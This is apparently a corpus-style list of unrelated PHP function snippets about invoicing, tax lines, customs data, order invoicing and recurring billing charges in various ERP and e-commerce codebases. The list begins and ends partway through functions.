DB_fetch_array($Result);\n\t\t\t\t$nameaduana=$myrowaduana['aduana'];\n\t\t\t\t$numberaduana=$myrowaduana['noaduana'];\n\t\t\t\t$fechaaduana=$myrowaduana['fechaaduana'];\n\t\t\t\t//$separaaduana=explode(\"|\",$aduana);\n\t\t\t\t//$nameaduana = $separaaduana[0];\n\t\t\t\t//$numberaduana= $separaaduana[1];\n\t\t\t\t//$fechaaduana= $separaaduana[2];\n\t\t\t\tif (strlen($nameaduana)==0 or strlen($numberaduana)==0 /*or !Is_Date($fechaaduana)*/){\n\t\t\t\t\t$nameaduana=\"\";\n\t\t\t\t\t$numberaduana=\"\";\n\t\t\t\t\t$fechaaduana=\"\";\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif($myrow['type'] == 66) { // Si es factura remision\n\n\t\t\t\t$ordernotmp = $myrow['orderno'];\n\n\t\t\t\t$SQL = \"\n\t\t\t\t\tSELECT GROUP_CONCAT(debtortrans.order_) AS order_\n\t\t\t\t\tFROM invoicetoremision\n\t\t\t\t\tINNER JOIN debtortrans\n\t\t\t\t\tON debtortrans.id = invoicetoremision.idremision\n\t\t\t\t\tWHERE invoicetoremision.idinvoice = '{$myrow['iddocto']}'\n\t\t\t\t\";\n\n\t\t\t\t$rstmp = DB_query($SQL, $db);\n\t\t\t\t$rowtmp = DB_fetch_array($rstmp);\n\t\t\t\t$ordernotmp = $rowtmp['order_'];\n\n\t\t\t\tif(empty($ordernotmp) == FALSE) {\n\n\t\t\t\t\t$SQL = \"\n\t\t\t\t\t\tSELECT\n\t\t\t\t\t\tDATE_FORMAT(purchorderdetails.datecustoms,'%Y-%m-%d') AS fechaaduana,\n\t\t\t\t\t\tpedimento,\n\t\t\t\t\t\tcustoms AS aduana\n\t\t\t\t\t\tFROM purchorders\n\t\t\t\t\t\tINNER JOIN purchorderdetails\n\t\t\t\t\t\tON purchorderdetails.orderno = purchorders.orderno\n\t\t\t\t\t\tWHERE purchorders.requisitionno IN ($ordernotmp)\n\t\t\t\t\t\tAND purchorderdetails.itemcode = '$stockid'\n\t\t\t\t\t\";\n\n\t\t\t\t\t$rstmp = DB_query($SQL, $db);\n\n\t\t\t\t\tif($rowtmp = DB_fetch_array($rstmp)) {\n\t\t\t\t\t\t$fechaaduana = $rowtmp['fechaaduana'];\n\t\t\t\t\t\t$numberaduana = $rowtmp['pedimento'];\n\t\t\t\t\t\t$nameaduana = $rowtmp['aduana'];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$nameaduana;\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$numberaduana;\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$fechaaduana;\n\t\t\t$nolinea=$nolinea+1;\n\t\t\t\n\t\t\t\n\t\t\t$sqlstockmovestaxes=\"SELECT stkmoveno,taxauthid,taxrate,\n\t\t\t\t\t\ttaxcalculationorder,\n\t\t\t\t\t\ttaxontax,\n\t\t\t\t\t\ttaxauthorities.description\n\t\t\t\t\t FROM stockmovestaxes,taxauthorities\n\t\t\t\t\t WHERE taxauthorities.taxid=stockmovestaxes.taxauthid\n\t\t\t\t\t\t AND stkmoveno=\".$stkmoveno;\n\t\t\t\n\t\t\t$resultstockmovestaxes=DB_query($sqlstockmovestaxes,$db);\n\t\t\twhile ($myrow3=DB_fetch_array($resultstockmovestaxes)){\n\t\t\t\t$impuesto=$myrow3['description'];\n\t\t\t\t$charelectronictaxs=$charelectronictaxs.$charelectronictaxsini.'|'.$impuesto;\n\t\t\t\t$taxrate=FormatNumberERP($myrow3['taxrate']*100);\n\t\t\t\t$charelectronictaxs=$charelectronictaxs.'|'.$taxrate;\n\t\t\t\tif($TipoAgrupacionXTag==1){\n\t\t\t\t\t$taxratetotal=FormatNumberERP((($myrow3['taxrate']*($myrow2['subtotal']))*$myrow2['quantity']));\n\t\t\t\t}else{\n\t\t\t\t\t$taxratetotal=FormatNumberERP($myrow3['taxrate']*($myrow2['subtotal']));\n\t\t\t\t}\n\t\t\t\t$charelectronictaxs=$charelectronictaxs.'|'.$taxratetotal;\n\t\t\t}\n\n\t\t}\n\t}else{\n\t\tif($TipoAgrupacionXTag==1){\n\t\t\t$sqldetails = 'SELECT stockmoves.stkmoveno,\n\t\t\t\t\t\t-- stockmoves.stockid,\n\t\t\t\t\t ProdLine.prodLineId as stockid,\n\t\t\t\t\t\tstockmoves.warranty,\n\t\t\t\t\t\t-- stockmaster.description,\n\t\t\t\t\t\tProdLine.Description as description,\n\t\t\t\t\t\t/*stockmaster.serialised,\n\t\t\t\t\t\tstockmaster.controlled,*/\n\t\t\t\t\t\t0 as serialised,\n\t\t\t\t\t\t0 as controlled,\n\t\t\t\t\t\tsum(case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end) as quantity ,\n\t\t\t\t\t\tstockmoves.narrative,\n\t\t\t\t\t\tstockmaster.units,\n\t\t\t\t\t\tstockmaster.decimalplaces,\n\t\t\t\t\t\tstockmoves.discountpercent,\n\t\t\t\t\t\tstockmoves.discountpercent1,\n\t\t\t\t\t\tstockmoves.discountpercent2,\n\t\t\t\t\t\tsum((case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end)*(stockmoves.price*IF(stockmovestaxes.taxrate IS NULL, 0, stockmovestaxes.taxrate)))/sum(case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end) AS fxnet,\n\t\t\t\t\t\tsum((case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end)*(stockmoves.price*IF(stockmovestaxes.taxrate IS NULL, 0, stockmovestaxes.taxrate))-totaldescuento)/sum(case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end) as subtotal,\n\t\t\t\t\t\t-- sum((stockmoves.price*case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end)/case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end) AS fxprice,\n\t\t\t\t\t\tsum((stockmoves.price*IF(stockmovestaxes.taxrate IS NULL, 0, stockmovestaxes.taxrate)*case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end))/sum(case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end) AS fxprice,\n\t\t\t\t\t\tstockmoves.narrative,\n\t\t\t\t\t\tstockmaster.units,\n\t\t\t\t\t\tstockmaster.categoryid,\n\t\t\t\t\t\tstockmoves.loccode as almacen,\n\t\t\t\t\t\tstockmoves.showdescription,\n\t\t\t\t\t\tstockcategory.MensajePV\n\t\t\t\tFROM stockmoves,stockmaster\n\t\t\t\t\t left JOIN stockmovestaxes ON stockmovestaxes.stkmoveno=stockmoves.stkmoveno ,\n\t\t\t\t\tstockcategory\n\t\t\t\t\t \tINNER JOIN ProdLine ON ProdLine.prodLineId=stockcategory.prodLineId\n\t\t\t\t\t\t\n\t\t\t\tWHERE stockmoves.stockid = stockmaster.stockid\n\t\t\t\t\tAND stockmoves.type='.$TypeInvoice.'\n\t\t\t\t\tAND stockmoves.transno=' . $InvoiceNo . '\n\t\t\t\t\tAND stockmoves.tagref=' . $tag . '\n\t\t\t\t\tAND stockmoves.show_on_inv_crds=1\n\t\t\t\t\tAND stockcategory.categoryid = stockmaster.categoryid\n\t\t\t\tGROUP BY ProdLine.Description,ProdLine.prodLineId';\n\t\t\t\t\n\t\t\t\t\n\t\t}else{\n\t\t\t$sqldetails = 'SELECT stockmoves.stkmoveno,\n\t\t\t\t\t\tstockmoves.stockid,\n\t\t\t\t\t\tstockmoves.warranty,\n\t\t\t\t\t\tstockmaster.description,\n\t\t\t\t\t\tstockmaster.serialised,\n\t\t\t\t\t\tstockmaster.controlled,\n\t\t\t\t\t\t(case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end) as quantity ,\n\t\t\t\t\t\tstockmoves.narrative,\n\t\t\t\t\t\tstockmaster.units,\n\t\t\t\t\t\tstockmaster.decimalplaces,\n\t\t\t\t\t\tstockmoves.discountpercent,\n\t\t\t\t\t\tstockmoves.discountpercent1,\n\t\t\t\t\t\tstockmoves.discountpercent2,\n\t\t\t\t\t\t((case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end)*(stockmoves.price + (stockmoves.price * IF(stockmovestaxes.taxrate IS NULL, 0, stockmovestaxes.taxrate)))) AS fxnet,\n\t\t\t\t\t\t((case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end)*(stockmoves.price + (stockmoves.price * IF(stockmovestaxes.taxrate IS NULL, 0, stockmovestaxes.taxrate))))-totaldescuento as subtotal,\n\t\t\t\t\t\t(stockmoves.price + (stockmoves.price * IF(stockmovestaxes.taxrate IS NULL, 0, stockmovestaxes.taxrate))) AS fxprice,\n\t\t\t\t\t\tstockmoves.narrative,\n\t\t\t\t\t\tstockmaster.units,\n\t\t\t\t\t\tstockmaster.categoryid,\n\t\t\t\t\t\tstockmoves.loccode as almacen,\n\t\t\t\t\t\tstockmoves.showdescription,\n\t\t\t\t\t stockcategory.MensajePV\n\t\t\t\t\tFROM stockmoves inner join stockmaster ON stockmoves.stockid = stockmaster.stockid\n\t\t\t\t\t\t\t\tinner join stockcategory on stockcategory.categoryid = stockmaster.categoryid\n\t\t\t\t\t\t\t\tleft JOIN stockmovestaxes ON stockmovestaxes.stkmoveno=stockmoves.stkmoveno \n\t\t\t\tWHERE stockmoves.stockid = stockmaster.stockid\n\t\t\t\t\tAND stockmoves.type='.$TypeInvoice.'\n\t\t\t\t\tAND stockmoves.transno=' . $InvoiceNo . '\n\t\t\t\t\tAND stockmoves.tagref=' . $tag . '\n\t\t\t\t\tAND stockmoves.show_on_inv_crds=1\n\t\t\t\t\tAND stockcategory.categoryid = stockmaster.categoryid';\n\t\t}\n\t\t\n\t\t$resultdetails=DB_query($sqldetails,$db);\n\t\twhile ($myrow2=DB_fetch_array($resultdetails)){\n\t\t\t$stockid=$myrow2['stockid'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.$charelectronicinidet.'|'.$stockid;\n\t\t\t$stockid=$myrow2['stockid'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockid;\n\t\t\t$stockcantidad=FormatNumberERP($myrow2['quantity']);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockcantidad;\n\t\t\t$stockdescrip=$myrow2['description'].' '.$myrow['ordertype'];\n\t\t\t// valores de los vendedorfees por linea\n\t\t\t$descrprop=\" (\";\n\t\t\t$sqlpropertyes=\"SELECT distinct p.InvoiceValue as val,sp.label\n\t\t\t FROM salesstockproperties p, stockcatproperties sp, stockmaster sm\n\t\t\t WHERE p.stkcatpropid=sp.stkcatpropid\n\t\t\t AND sp.categoryid=sm.categoryid\n\t\t\t\t AND p.orderno=\" . $orderno . \"\n\t\t\t\t AND p.typedocument=\" . $TypeInvoice . \"\n\t\t\t\t \t\tAND sp.reqatprint=1\n\t\t\t\t AND sm.stockid='\" . $stockid . \"'\";\n\t\t\t$resultpropertyes=DB_query($sqlpropertyes,$db);\n\t\t\t$xt=0;\n\t\t\twhile ($myrowprop=DB_fetch_array($resultpropertyes)){\n\t\t\t\t$traba=explode(\" \",$myrowprop['val']);\n\t\t\t\t$trab=$traba[0];\n\t\t\t\tif ($xt==0){\n\n\t\t\t\t\t$descrprop=$descrprop.' '.$myrowprop['label'].':'.$trab;\n\t\t\t\t}else{\n\t\t\t\t\t$descrprop=$descrprop.\" , \".$myrowprop['label'].':'.$trab;\n\t\t\t\t}\n\n\t\t\t\t$xt=$xt+1;\n\t\t\t}\n\t\t\t$descrprop=$descrprop.\" )\";\n\t\t\tif ($xt==0){//\n\t\t\t\t$descrprop=\"\";\n\t\t\t}\n\t\t\tif($myrow2['MensajePV'] <> \"\"){\n\t\t\t\t$descrprop = $descrprop.$myrow2['MensajePV'];\n\t\t\t}\n\t\t\t$descrnarrative=\"\";\n\t\t\t/*$sqlnarrative=\"SELECT narrative\n\t\t\t\tFROM salesorderdetails p\n\t\t\t\tWHERE p.orderno=\" . $orderno . \"\n\t\t\t\t AND p.stkcode='\" . $stockid . \"'\";\n\t\t\t$resultnarrative=DB_query($sqlnarrative,$db);\n\t\t\twhile ($myrownarrative=DB_fetch_array($resultnarrative)){\n\t\t\t\t$descrnarrative=$myrownarrative['narrative'];\n\t\t\t\t$descrnarrative=str_replace('|', '', $descrnarrative);\n\t\t\t}*/\n\t\t\t\n\t\t\t$descrnarrative=str_replace('\\r','',str_replace('\\n','',$myrow2['narrative']));\n\t\t\t$descrnarrative=str_replace('|', '', $descrnarrative);\n\t\t\t\n\t\t\tif (strlen($descrnarrative)==0){\n\t\t\t\t$descrnarrative=\"\";\n\t\t\t}\n\t\t\tif($myrow2['showdescription']==1){\n\t\t\t\t$stockdescripuno=$stockdescrip.$descrprop.$descrnarrative.$numberserie;\n\t\t\t}else{\n\t\t\t\tif (strlen($descrnarrative)==0){\n\t\t\t\t\t$stockdescripuno=$stockdescrip.$descrprop.$descrnarrative.$numberserie;\n\t\t\t\t}else{\n\t\t\t\t\t$stockdescripuno=$descrnarrative;\n\n\t\t\t\t}\n\t\t\t}\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockdescripuno;\n\t\t\t$stockprecio=FormatNumberERP($myrow2['fxprice']);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockprecio;\n\t\t\t$stockneto=FormatNumberERP($myrow2['fxnet']);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockneto;\n\t\t\t$stockunits=$myrow2['units'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockunits;\n\t\t\t$stockcat=$myrow2['categoryid'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockcat;\n\t\t\t$ordencompra=\"\";\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$ordencompra;\n\t\t\t// descuentos\n\t\t\t$discount1=FormatNumberERP($myrow2['discountpercent']*100);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$discount1;\n\t\t\t$discount2=FormatNumberERP($myrow2['discountpercent1']*100);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$discount2;\n\t\t\t$discount3=FormatNumberERP($myrow2['discountpercent2']*100);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$discount3;\n\t\t\t//subtotal\n\t\t\t//$subtotal=number_format($myrow2['subtotal'],2,'.','');\n\t\t\t//$charelectronicdetail=$charelectronicdetail.'|'.$subtotal;\n\t\t\t// consulta de aduana\n\t\t\t$stkmoveno=$myrow2['stkmoveno'];\n\t\t\t$almacen=$myrow2['almacen'];\n\n\t\t\t$sqlstockmovestaxes=\"SELECT stkmoveno,taxauthid,taxrate,taxcalculationorder,taxontax,taxauthorities.description\n\t\t\t\t\t FROM stockmovestaxes,taxauthorities\n\t\t\t\t\t WHERE taxauthorities.taxid=stockmovestaxes.taxauthid\n\t\t\t\t\t\t AND stkmoveno=\".$stkmoveno;\n\t\t\t$resultstockmovestaxes=DB_query($sqlstockmovestaxes,$db);\n\t\t\twhile ($myrow3=DB_fetch_array($resultstockmovestaxes)){\n\t\t\t\t$impuesto=$myrow3['description'];\n\t\t\t\t$charelectronictaxs=$charelectronictaxs.$charelectronictaxsini.'|'.$impuesto;\n\t\t\t\t$taxrate=FormatNumberERP($myrow3['taxrate']*100);\n\t\t\t\t$charelectronictaxs=$charelectronictaxs.'|'.$taxrate;\n\t\t\t\t$taxratetotal=FormatNumberERP($myrow3['taxrate']*($myrow2['subtotal']));\n\t\t\t\t//$taxtotalratex=$myrow3['taxrate']*($myrow2['fxnet']*$myrow2['fxprice']);\n\t\t\t\t$taxtotalratex=$myrow3['taxrate']*($myrow2['subtotal']);\n\t\t\t\t$charelectronictaxs=$charelectronictaxs.'|'.$taxratetotal;\n\t\t\t}\n\n\t\t\t$subtotal=FormatNumberERP($myrow2['subtotal']+$taxtotalratex);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$subtotal;\n\t\t\t$subtotal=FormatNumberERP($myrow2['subtotal']+$taxtotalratex);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$subtotal;\n\n\n\t\t\t$sqladuana=\"SELECT stockserialitems.customs as aduana,customs_number as noaduana,\n\t\t\t\t\tpedimento, DATE_FORMAT(customs_date,'%Y-%m-%d') as fechaaduana\n\t\t\t\t FROM stockserialmoves , stockmoves , stockserialitems\n\t\t\t\t WHERE stockmoves.stkmoveno=stockserialmoves.stockmoveno\n\t\t\t\t\tAND stockserialmoves.stockid=stockserialitems.stockid\n\t\t\t\t\tAND stockserialmoves.serialno=stockserialitems.serialno\n\t\t\t\t\tAND stockserialitems.loccode='\".$almacen.\"'\n\t\t\t\t\tAND stockmoves.stkmoveno=\".$stkmoveno.\"\n\t\t\t\t\tAND stockmoves.stockid='\".$stockid.\"'\";\n\t\t\t$Result= DB_query($sqladuana,$db);\n\t\t\tif (DB_num_rows($Result)==0) {\n\t\t\t\t$nameaduana=\"\";\n\t\t\t\t$numberaduana=\"\";\n\t\t\t\t$fechaaduana=\"\";\n\t\t\t}else{\n\t\t\t\t$myrowaduana = DB_fetch_array($Result);\n\t\t\t\t$aduana=$myrowaduana['aduana'];\n\t\t\t\t$separaaduana=explode(\"|\",$aduana);\n\t\t\t\t$nameaduana = $separaaduana[0];\n\t\t\t\t$numberaduana= $separaaduana[1];\n\t\t\t\t$fechaaduana= $separaaduana[2];\n\t\t\t\tif (strlen($nameaduana)==0 or strlen($numberaduana)==0 /*or !Is_Date($fechaaduana)*/){\n\t\t\t\t\t$nameaduana=\"\";\n\t\t\t\t\t$numberaduana=\"\";\n\t\t\t\t\t$fechaaduana=\"\";\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif($myrow['type'] == 66) { // Si es factura remision\n\n\t\t\t\t$ordernotmp = $myrow['orderno'];\n\n\t\t\t\t$SQL = \"\n\t\t\t\t\tSELECT GROUP_CONCAT(debtortrans.order_) AS order_\n\t\t\t\t\tFROM invoicetoremision\n\t\t\t\t\tINNER JOIN debtortrans\n\t\t\t\t\tON debtortrans.id = invoicetoremision.idremision\n\t\t\t\t\tWHERE invoicetoremision.idinvoice = '{$myrow['iddocto']}'\n\t\t\t\t\";\n\n\t\t\t\t$rstmp = DB_query($SQL, $db);\n\t\t\t\t$rowtmp = DB_fetch_array($rstmp);\n\t\t\t\t$ordernotmp = $rowtmp['order_'];\n\n\t\t\t\tif(empty($ordernotmp) == FALSE) {\n\n\t\t\t\t\t$SQL = \"\n\t\t\t\t\t\tSELECT\n\t\t\t\t\t\tDATE_FORMAT(purchorderdetails.datecustoms,'%Y-%m-%d') AS fechaaduana,\n\t\t\t\t\t\tpedimento,\n\t\t\t\t\t\tcustoms AS aduana\n\t\t\t\t\t\tFROM purchorders\n\t\t\t\t\t\tINNER JOIN purchorderdetails\n\t\t\t\t\t\tON purchorderdetails.orderno = purchorders.orderno\n\t\t\t\t\t\tWHERE purchorders.requisitionno IN ($ordernotmp)\n\t\t\t\t\t\tAND purchorderdetails.itemcode = '$stockid'\n\t\t\t\t\t\";\n\n\t\t\t\t\t$rstmp = DB_query($SQL, $db);\n\n\t\t\t\t\tif($rowtmp = DB_fetch_array($rstmp)) {\n\t\t\t\t\t\t$fechaaduana = $rowtmp['fechaaduana'];\n\t\t\t\t\t\t$numberaduana = $rowtmp['pedimento'];\n\t\t\t\t\t\t$nameaduana = $rowtmp['aduana'];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$nameaduana;\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$numberaduana;\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$fechaaduana;\n\n\t\t\t/*$stockprecio=number_format($myrow2['fxnet']+$taxtotalratex,2,'.','');\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockprecio;\n\t\t\t$stockneto=number_format($myrow2['fxnet']+$taxtotalratex,2,'.','');\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockneto;\n\t\t\t$stockunits=$myrow2['units'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockunits;\n\t\t\t$stockcat=$myrow2['categoryid'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockcat;\n\t\t\t$ordencompra=\"\";\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$ordencompra;\n\t\t\t// descuentos\n\t\t\t$discount1=number_format($myrow2['discountpercent']*100,2,'.','');\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$discount1;\n\t\t\t$discount2=number_format($myrow2['discountpercent1']*100,2,'.','');\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$discount2;\n\t\t\t$discount3=number_format($myrow2['discountpercent2']*100,2,'.','');\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$discount3;\n\t\t\t//subtotal*/\n\n\t\t}\n\t}\n\t\n\t// ivas retenidos\n//\t$charelectronictaxsret='|'.chr(13).chr(10);//.'07|ISR|0.00';\n\tif ($rfccliente==\"XAXX010101000\"){\n\t\t$cadenaenvio=$charelectronic.$charelectronicdetail.$charelectronictaxsret.$charelectronictaxsfederal.$charelectronictaxslocal.$charelectronicEmbarque;\n\t\t$cadenaenviada=$cadenaenvio;//retornarString($cadenaenvio);\n\t}else{\n\t\t$cadenaenvio=$charelectronic.$charelectronicdetail.$charelectronictaxsfederal.$charelectronictaxs.$charelectronictaxslocal.$charelectronicEmbarque;\n\t\t$cadenaenviada=$cadenaenvio;//retornarString($cadenaenvio);\n\n\t}\n\t//echo $cadenaenviada;\n\treturn $cadenaenviada;\n}", "function totalVAT()\n {\n return false;\n }", "private function _generateInvoice()\n {\n $order = $this->_getOrder();\n if ($order->canInvoice()) {\n $invoice = $order->prepareInvoice();\n\n $invoice->register();\n Mage::getModel('core/resource_transaction')\n ->addObject($invoice)\n ->addObject($invoice->getOrder())\n ->save();\n \n $invoice->pay()->save();\n\n $order->save();\n\n $invoice->sendEmail(\n (boolean) Mage::getStoreConfig(\n 'payment/paymentnetwork_pnsofortueberweisung/send_mail', \n Mage::app()->getStore()->getStoreId()\n ), ''\n );\n }\n }", "public function getInvoices(): ?string\n {\n return $this->invoices;\n }", "function item_quantities_none() {\r\n //if( isset($edd_options['coopshares_fair_checkout_info']) ) {\r\n // return true;\r\n //} else {\r\n return false;\r\n //}\r\n}", "public function readOverdueInvoices()\n {\n $user = auth()->user();\n\n // Mark invoice notifications as read\n foreach ($user->unreadNotifications as $notification) {\n // Not an invoice notification\n if ($notification->getAttribute('type') != 'App\\Notifications\\Income\\Invoice') {\n continue;\n }\n\n $notification->markAsRead();\n }\n\n // Redirect to invoices\n return redirect('customers/invoices');\n }", "public function createOutstandingChargeInstallments()\n\t{\n\t\t$arrInstallments = array();\n\t\t$strToday = GetCurrentISODate();\n\t\t\n\t\t// Check if the RecurringCharge has already satisfied the conditions for completion and is not continuable\n\t\tif ($this->hasSatisfiedRequirementsForCompletion() && $this->continuable == 0)\n\t\t{\n\t\t\t// Flag it as completed (this will save the record)\n\t\t\t$this->setToCompleted();\n\t\t\treturn $arrInstallments;\n\t\t}\n\t\t\n\t\twhile ($this->needsToCreateInstallments())\n\t\t{\n\t\t\t$intNextInstallment = $this->totalRecursions + 1;\n\t\t\t$strChargedOnForNextInstallment = $this->getChargedOnDateForInstallment($intNextInstallment);\n\t\t\t\n\t\t\tif ($strChargedOnForNextInstallment > $strToday)\n\t\t\t{\n\t\t\t\t// This should never happen\n\t\t\t\tthrow new Exception_Assertion(__METHOD__ .\" - objRecCharge->needsToCreateInstallments() == TRUE but ChargedOn date for next installment is in the future (ChargedOn = $strChargedOnForNextInstallment, Today = $strToday)\", \"RecurringCharge object: \\n\". print_r($this, true), \"RecurringCharge Record Data Integrity Breach\");\n\t\t\t}\n\t\t\t\n\t\t\t// I should probably check that there aren't more associated Charge records, than there should be\n\t\t\t// This will somewhat protect against more than one instance of this process being run at the one time\n\t\t\t$intCurrentInstallmentChargeRecordCount = $this->_getInstallmentChargeRecordCount();\n\t\t\tif ($intCurrentInstallmentChargeRecordCount > $this->totalRecursions)\n\t\t\t{\n\t\t\t\t// This should never happen\n\t\t\t\tthrow new Exception_Assertion(__METHOD__ .\" - There are currently '{$intCurrentInstallmentChargeRecordCount}' installment charge records associated with this recurring charge, but there should only be '{$this->totalRecursions}' records\", \"RecurringCharge object: \\n\". print_r($this, true), \"RecurringCharge Record Data Integrity Breach\");\n\t\t\t}\n\t\t\t\n\t\t\t// Check that a Charge has not already been created for this recurring charge, with this ChargedOn date\n\t\t\tif ($this->_hasChargeRecordForChargedOnDate($strChargedOnForNextInstallment))\n\t\t\t{\n\t\t\t\t// This should never happen\n\t\t\t\tthrow new Exception_Assertion(__METHOD__ .\" - There is currently already a charge made for this ChargedOn date ({$strChargedOnForNextInstallment})\", \"RecurringCharge object: \\n\". print_r($this, true), \"RecurringCharge Record Data Integrity Breach\");\n\t\t\t}\n\t\t\t\n\t\t\t// Calculate how much to charge (could be a partial installment)\n\t\t\t$fltAmountToCharge = $this->calculateNextInstallmentCharge();\n\t\t\t\n\t\t\tif ($fltAmountToCharge <= 0.0000)\n\t\t\t{\n\t\t\t\t// This should never happen\n\t\t\t\tthrow new Exception_Assertion(__METHOD__ .\" - Calculated amount to charge == {$fltAmountToCharge}\", \"RecurringCharge object: \\n\". print_r($this, true));\n\t\t\t}\n\t\t\t\n\t\t\t// Create the installment Charge\n\t\t\t$objCharge\t\t\t\t\t= new Charge();\n\t\t\t$objCharge->accountGroup\t= $this->accountGroup;\n\t\t\t$objCharge->account\t\t\t= $this->account;\n\t\t\t$objCharge->service\t\t\t= $this->service;\n\t\t\t$objCharge->createdBy\t\t= $this->createdBy;\n\t\t\t$objCharge->approvedBy\t\t= $this->approvedBy;\n\t\t\t$objCharge->createdOn\t\t= $this->createdOn;\n\t\t\t$objCharge->chargedOn\t\t= $strChargedOnForNextInstallment;\n\t\t\t$objCharge->chargeType\t\t= $this->chargeType;\n\t\t\t$objCharge->description\t\t= $this->description;\n\t\t\t$objCharge->nature\t\t\t= $this->nature;\n\t\t\t$objCharge->amount\t\t\t= $fltAmountToCharge;\n\t\t\t$objCharge->linkType\t\t= CHARGE_LINK_RECURRING;\n\t\t\t$objCharge->linkId\t\t\t= $this->id;\n\t\t\t$objCharge->status\t\t\t= CHARGE_APPROVED;\n\t\t\t$objCharge->notes\t\t\t= \"Installment {$intNextInstallment}\";\n\t\t\t$objCharge->globalTaxExempt\t= 0;\n\t\t\t$objCharge->save();\n\t\t\t\n\t\t\t$arrInstallments[] = $objCharge;\n\t\t\t\n\t\t\t// Now save the charge_recurring_charge record\n\t\t\t$objChargeRecurringCharge\t\t\t\t\t\t= new Charge_Recurring_Charge();\n\t\t\t$objChargeRecurringCharge->chargeId\t\t\t\t= $objCharge->id;\n\t\t\t$objChargeRecurringCharge->recurringChargeId\t= $this->id;\n\t\t\t$objChargeRecurringCharge->save();\n\t\t\t\n\t\t\t// Now update the RecurringCharge record\n\t\t\t$this->lastChargedOn\t= $strChargedOnForNextInstallment;\n\t\t\t$this->totalCharged\t\t= $this->totalCharged + $fltAmountToCharge;\n\t\t\t$this->totalRecursions\t= $this->totalRecursions + 1;\n\t\t\t\n\t\t\t// Check if the RecurringCharge has satisfied the conditions for completion and is not continuable\n\t\t\tif ($this->hasSatisfiedRequirementsForCompletion() && $this->continuable == 0)\n\t\t\t{\n\t\t\t\t// Flag it as completed (this will save the record)\n\t\t\t\t$this->setToCompleted();\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t$this->save();\n\t\t}\n\t\t\n\t\treturn $arrInstallments;\n\t}", "function bpGetInvoice($invoiceId, $apiKey=false) {\r\n\t\r\n}", "private function fixUserInvoice(): bool\n {\n // retrieve user\n $user = $this->getUserInvoice()->user;\n\n // increase user balance on invoice delivery sum\n $this->userBalance->addToCreditBalance($user, $this->invoice->invoice_sum);\n\n foreach ($this->getInvoiceProducts() as $reclamation) {\n // remove from active user reclamation\n $user->reclamation()->detach($reclamation->id);\n }\n\n return true;\n }", "public function hasNoOrders()\n {\n return 0 === $this->getOrders()->count();\n }", "public function getInvoices(User $user);", "function product_novendor()\n\t{\n\t\tglobal $log;\n\t\t$log->debug(\"Entering product_novendor() method ...\");\n\t\t$query = \"SELECT ec_products.productname, ec_products.deleted\n\t\t\tFROM ec_products\n\t\t\tWHERE ec_products.deleted = 0\n\t\t\tAND ec_products.vendor_id is NULL\";\n\t\t$result=$this->db->query($query);\n\t\t$log->debug(\"Exiting product_novendor method ...\");\n\t\treturn $this->db->num_rows($result);\n\t}", "public function getInvoice(Request $request)\n {\n\t\t$user = null;\n\t\t$nope = false;\n\t\t$v = \"\";\n\t\t\n\t\t$signals = $this->helpers->signals;\n\t\t$plugins = $this->helpers->getPlugins();\n\t\t$permissions = $this->helpers->permissions;\n\t\t#$this->helpers->populateTips();\n $cpt = ['user','signals','plugins'];\n\t\t\t\t\n\t\tif(Auth::check())\n\t\t{\n\t\t\t$user = Auth::user();\n\t\t\t\n\t\t\tif($this->helpers->isAdmin($user))\n\t\t\t{\n\t\t\t\t$hasPermission = $this->helpers->hasPermission($user->id,['view_users','edit_users']);\n\t\t\t\t#dd($hasPermission);\n\t\t\t\t$req = $request->all();\n\t\t\t\t\n\t\t\t\tif($hasPermission)\n\t\t\t\t{\n \n\t\t\t\tif(isset($req['xf']))\n\t\t\t\t{\n\t\t\t\t\t$v = \"invoice\";\n\t\t\t\t\t$o = $this->helpers->getOrder($req['xf']);\n\t\t\t\t #dd($o);\n\t\t\t\t\tif(count($o) < 